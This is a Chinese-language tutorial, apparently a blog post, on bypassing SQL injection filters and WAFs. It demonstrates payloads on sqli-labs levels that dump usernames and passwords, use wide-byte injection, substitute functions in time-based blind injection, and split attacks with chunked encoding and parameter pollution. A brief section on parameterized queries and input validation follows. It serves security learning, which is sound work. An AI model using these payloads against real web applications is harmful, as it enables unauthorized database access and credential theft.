SQL注入绕过详解与防御机制

一、绕过方法

我们针对防护机制的不同,总结一下绕过手法

1-绕过注释符过滤

绕过方法

  1. 闭合引号法 :不依赖注释符,而是通过巧妙构造输入,让原始的SQL语句自行闭合,从而语法正确。我们利用输入的内容1' and '1'='1闭合正确逻辑,

  2. 编码与变形 :如果过滤规则是简单的字符串匹配(例如直接查找 --#),可以通过编码或插入干扰字符来绕过检测,让最终传递给数据库的仍是有效的注释符

  3. 特殊技巧与漏洞利用

    1. 利用过滤逻辑缺陷 :如果过滤规则是"将 -- 替换为空",并且只执行一次,那么可以使用双写绕过,但成功率低
    2. 老版本漏洞 ;%00 :在某些古老的PHP+MySQL组合中,;%00(分号+空字符)可以用来截断字符串,起到类似注释符的作用。不过这属于历史遗留问题,在现代环境中已很少见,但在特定CTF题目中仍有出现。
例子

以Less-23为例,我们正常判断注入点

复制代码
?id=1' and 1=1--+
?id=1' and 1=1#

还是会发生报错,' LIMIT 0,1没有被注释符注释掉,说明我们的注释符号被过滤了。

复制代码
?id=1' union select 1,username,password from users and '1'='1

我们可以通过闭合正确逻辑来绕过注释符的限制

复制代码
?id=1' and updatexml(1,concat(0x7e,(select concat(username,":",password) from users limit 0,1),0x7e),1) and '1'='1

2-绕过空格

如果空格被过滤,我们有以下方法尝试绕过

  1. 使用+替代空格union+select+1,2,3

  2. 利用各种空白字符的 URL编码形式绕过:%20(空格)、%09(水平制表符)、%0A(换行符)、%0C(换页符)、%0D(回车CR)、%0B(垂直制表符VT)、%A0(不间断空格NBS)

  3. 使用SQL注释符/**/替代空格select/**/database();

  4. 括号()替代空格select(database());

  5. 使用反引号包裹标识符 :将表名或列名括起来,从而在关键字和标识符之间无需空格。

3-绕过仅检查关键字的过滤

如果防护机制过滤unionselect等关键字,过滤方式常有大小写不敏感、黑名单替换、正则匹配等。

  1. 可以尝试大小写混写 (如UnIoNSeLeCt
  2. 双写绕过 :当过滤将关键字替换为空时,可构造 unionununionion,过滤掉中间的 union 后剩下 union
  3. 内联注释 (如/*!union*//*!select*/)来绕过基于关键字的简单匹配
  4. 注释符拆分关键字 :在关键字中间插入注释符(如 /**/),使关键字被分割,但数据库解析时会忽略注释,仍识别为完整关键字。
  5. 利用 URL 编码或双重编码%75nion%75u),但后端接收时会自动解码,导致还原为 union。若 WAF 解码后匹配,则无效;

(1)过滤 unionselect 及空格

Less-27是过滤 unionselect 及空格,我们针对其进行绕过。

先针对空格过滤,我们尝试使用URL编码绕过,测试是否成功

复制代码
?id=1'%0Aand%0A'1'='1
?id=1'%0Dand%0D'1'='1
.....

使用URL编码成功绕过空格过滤,开始测试关键字过滤:输入大写或小写的select和union都被过滤为空

我们尝试大小写混淆、双写、注释、URL编码尝试

复制代码
//大小写混淆
SeLect UNion
//双写
selselectect
//插入注释
sel/**/ect
//URL编码尝试
%75nion

逐一测试,大小写混淆成功绕过,其他方法失效

(2)过滤 union select 组合及空格

less-28是过滤 union select 组合及空格,我们空格绕过已经在less-27绕过了,现在重点绕过关键字

测试发现,select、union没有被过滤,但是payload如下时,select union被过滤

复制代码
?id=0'%0Aunion%0Aselect%0A1,2,3%0Aand%0A'1'='1

我们推断这是一个正则表达式检测后过滤,我们还是使用前面的方法逐一测试

复制代码
//双写绕过成功
?id=0'%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3%0Aand%0A'1'='1

但是没有成功回显位置,可能是引起闭合的符合错了,逐一测试')')),测试注入点为')

4-and、or被过滤

在某些情况下,WAF过滤andor关键字,我们有以下绕过方式

  1. 逻辑运算符绕过 :and替换为&&,or替换为||

  2. 双写绕过 :如果后端过滤逻辑只是简单地将 and/or 替换为空,并且只执行一次,那么就可以利用这个漏洞

  3. 大小写混淆:SQL语言本身对关键字大小写不敏感,但某些开发者在编写过滤代码时可能只考虑了全大写或全小写

  4. 注释符混淆 :利用SQL注释符 /**/ 将关键字"切开"。对于SQL解析器,A/**/ND 等同于 AND,但对于基于正则表达式(如匹配 \bAND\b)的WAF来说,它不是一个连续的单词,从而可能被放过

  5. 利用异或逻辑 :当 ANDOR 都被封锁时,XOR 提供了一个额外的逻辑选择。例如,1' XOR (条件) --+ 在某些情况下可以替代 OR 的作用。

5-=被过滤

  1. 使用 >< 结合反向判断
    1. 恒真:1 > 0 等价于 1 = 1
    2. 恒假:1 < 0 等价于 1 = 0
  2. 使用 LIKE 替代LIKE 用于模式匹配,当不使用通配符时,等同于等号。
  3. 使用 IN 替代IN 用于判断是否在集合中,单个值时可替代等号,如id = 1id IN (1)
  4. 使用 BETWEEN 替代BETWEEN 用于范围判断,如果两端值相等,则等价于等号。如判断 id = 5id BETWEEN 5 AND 5

6-过滤引号绕过

如果引号被过滤或转义,我们可使用以下方法绕过

  1. 十六进制绕过 :如users的十六进制为0x7573657273

  2. 宽字节注入绕过 :常在Web应用使用的字符集为GBK时并且过滤了引号为/',我们可以使用宽字节注入绕过?id=1%df' union select username,password from users limit 0,1--+

6-过滤逗号绕过

(1)使用join代替union中的逗号

UNION SELECT 中,我们需要返回多列数据,而列之间通常用逗号分隔。可以利用 JOIN 将多个单列查询合并为多列结果。

sql 复制代码
-- 原语句(被过滤)
SELECT 1,@@version,database();

-- 绕过方法
SELECT * FROM (select 1) a join (select @@version) b join (select database()) c;

(2)SUBSTR/MID 中的逗号

在盲注或报错注入中,常用 SUBSTR(string, start, length) 逐字符提取数据。逗号被过滤时,可以使用 FROM pos FOR len 语法(MySQL、PostgreSQL支持)。

sql 复制代码
-- 原函数
select substr("string",1,3);
select mid("string",1,3);
-- 绕过(使用 FROM ... FOR)
select substr("string" from 1 for 3);
select mid("string" from 1 for 3);

(3)limit中的逗号

使用offset关键字可以绕过limit中的逗号被过滤的情况

sql 复制代码
-- 原执行语句
select username,password from users limit 0,1;
-- 绕过后
select username,password from users limit 1 offset 0;
  • limit 0,1:第一个数字0是跳过的行数(即偏移量offset),第二个数字1表示要返回的最大行数(即limit 1)

(4)巧用like关键字可绕过substr()

使用like关键字,适用于substr()等提取子串的函数

sql 复制代码
select database() like 's%';

等同于

sql 复制代码
select substr((select database()),1,1)='s';

7-函数过滤绕过

ifsleepsubstr 这些常用的"利器"被过滤时,并不意味着注入之路走到了尽头。数据库本身就是一个庞大的函数库,为我们提供了大量功能相同或相似的"替代品"。

(1)IF函数被过滤

  1. case when...then....end绕过
  2. 利用位运算和LIKE语句
case when...then....end绕过

寻找逻辑判断的等效语法

sql 复制代码
--原执行语句
select 1 and if((select database())='security',sleep(5),1);

使用case when...then....end替换if,这是标准SQL的条件分支语法,功能与IF完全相同,是最直接、最可靠的替代品

sql 复制代码
select 1 and (case when (database()='security') then sleep(5) else 1 end);
利用位运算和LIKE语句

当数据库不支持IF()CASE语句时,我们可以利用逻辑运算和位运算来逐位判断

sql 复制代码
select * from users where id=1 and username like 's%';

(2)sleep()函数被过滤

SLEEP() 被过滤时,我们需要寻找能让数据库"忙"起来的其他操作,利用时间差进行盲注。有以下函数可替代:

  1. benchmark(count,expr)函数
  2. get_lock()函数
benchmark(count,expr)函数
sql 复制代码
select 1 and if((database()='security'),sleep(5),1);

BENCHMARK(count, expr) 用于重复执行一个表达式count次。通过设置一个足够大的count值,可以强制数据库进行大量计算,从而产生显著的时间延迟。这是时间盲注中最经典且稳定的SLEEP替代品

sql 复制代码
select 1 and database()='security' and benchmark(50000000,md5(1));
get_lock()函数

我们可以利用get_lock()函数可以设置一个长达数秒的锁,从而实现时间盲注

先在打开一个新的 MySQL 连接(如另一个命令行窗口),执行:

sql 复制代码
-- 此会话将一直持有锁,直到释放或会话结束
SELECT GET_LOCK('hack', 5);   

回到原会话,再次执行你的语句:

sql 复制代码
select 1 and if((database()='security'),get_lock('hack',5),1);

(3)字符串处理类函数

SUBSTR()MID()ASCII() 等用于数据提取的函数被过滤时,我们可以利用其他字符串函数或语法来达到相同目的。

  1. FROM ... FOR ... 语法SELECT SUBSTR(database() FROM 1 FOR 1)
  2. LEFT() / RIGHT() :用于从字符串左侧或右侧提取指定长度的子串,如SELECT LEFT(database(), 1)

8-分块传输

绕过原理: WAF在检测请求时,通常需要先重建完整的请求体才能进行规则匹配。如果WAF的分块重组逻辑存在缺陷(如只检测第一个块、块大小超过缓冲区、分块注释处理不当等),攻击者可将恶意payload拆分到多个块中,使WAF无法看到完整的攻击字符串。

实现方式

  • 基本分块:在HTTP请求头中添加 Transfer-Encoding: chunked,然后将请求体按块发送。
  • 畸形分块:在块长度后添加分号及注释(如 5;注释),某些旧版服务器或中间件能解析,但WAF可能无法正确解析,从而绕过。
  • 拆分关键字:例如将 union select 拆分为两个块,如 5\r\nunion\r\n7\r\n select\r\n,WAF重组后可能丢失空格或形成完整关键字。
text 复制代码
POST /sqlivuln.php?id=1 HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5
union
7
 select
2
 1
2
,
2
 2
0

9-HTTP参数污染

原理: HTTP参数污染指在请求中提交多个同名参数,不同后端技术栈对同名参数的处理方式不同。例如:

  • PHP / Apache:取最后一个参数值
  • ASP / IIS:取第一个参数值
  • 某些应用框架:将多个值拼接成数组
    攻击者可以利用这种差异,使WAF检测时看到的是无害的参数值,而实际后端解析时拼接出恶意payload。

实现方式:

  1. 简单重复?id=1&id=2,WAF可能检测 id=1(或第一个),但后端PHP取 id=2
  2. 注释注入:在参数值中插入注释,如 ?id=1/**/&id=2,使WAF将 1/**/ 视为一个值,而某些后端会将 /**/ 当作空格解析,从而改变语义。
  3. 结合其他绕过:如同时使用GET和POST参数污染(HTTP参数污染不仅限于GET)。
plaintext 复制代码
GET /search?q=admin&q=1' UNION SELECT ... HTTP/1.1

10-垃圾数据填充

原理: WAF在检测请求时,通常有性能限制(如最大检测长度、超时时间)。攻击者可以通过在请求中插入大量无意义字符(如长字符串、大量注释、随机填充)来:

  • 使WAF检测缓冲区溢出,部分数据被截断,从而payload被隐藏。
  • 消耗WAF CPU/内存资源,导致检测超时,WAF可能直接放行(fail-open)。
  • 触发WAF规则阈值(如匹配次数限制),从而绕过。
    实现方式
  • 超长User-Agent:在User-Agent中填充数千个字符,WAF可能只检测前几百字节。
  • 注释泛滥:在SQL语句中插入大量内联注释 /**/,如果WAF对注释数量有限制,超过后可能忽略后续内容
  • 使用大文件上传:结合分块传输,发送超大请求体,WAF可能因资源耗尽而跳过检测。
plaintext 复制代码
GET /sqlivuln?id=1'/**//**//**/...(重复10万次注释)union select ...

二、防御机制

SQL注入的修复和防御,本质上是阻止数据流转变为代码流,核心目标只有一个:确保数据库永远不会将用户输入的内容,当作可执行的SQL代码

1-参数化查询(预编译语句)

  1. 核心原理 :将SQL语句的结构与用户提供的数据严格分开。先发送带有占位符的SQL模版给数据库进行预编译,再将用户输入作为纯参数输入。
  2. 为什么能防住 :数据库在执行时,已明确了SQL语句的逻辑结构。用户输入无论包含什么恶意字符,都只会被当作字符串或数字等字面量 处理,绝不会被解析成新的SQL指令(如 UNIONOR 1=1
    代码示例
php 复制代码
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); 
$stmt->execute([$id]);

2-存储过程

  1. 核心原理:将SQL逻辑预先定义并存储在数据库中,应用程序通过调用来执行。如果存储过程内部使用参数化查询,则同样安全
  2. 为什么能防住:封装了SQL逻辑,限制了应用程序直接操作表的自由度。调用时传递的参数也通常被当作数据而非代码处理

3-输入验证和白名单

  1. 核心原理:对所有用户输入进行严格的检查,确保其符合预期格式。强烈建议使用白名单验证,即只允许预定义的模式(如数字、特定格式字符串)
  2. 为什么能防住:在攻击代码触及数据库之前,就从源头拦截了,任何包含字母或SQL关键字的输入都会被直接拒绝
相关推荐
chushiyunen2 小时前
django数据库配置
数据库·python·django
xiaomin-Michael2 小时前
WSR报告解读
数据库
absunique2 小时前
Spring boot 3.3.1 官方文档 中文
java·数据库·spring boot
奇树谦2 小时前
边缘计算×AUV:解锁深海探索的“实时智能”密码
数据库·人工智能·边缘计算
2401_858936882 小时前
SQLite 数据库实战
jvm·数据库·sqlite
韩立学长2 小时前
基于Springboot医疗健康管理系统6sp2oz07(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·spring boot·后端
CN.LG2 小时前
SQLiteStudio 介绍
sql·sqlite·c#
南 阳2 小时前
Python从入门到精通day49
数据库·python·sqlite
嵌入小生0072 小时前
数据库 --- SQLite/命令/select等增删改查语句/数据库编程 --- Linux
linux·数据库·sqlite·select·sql语句·update·数据库编程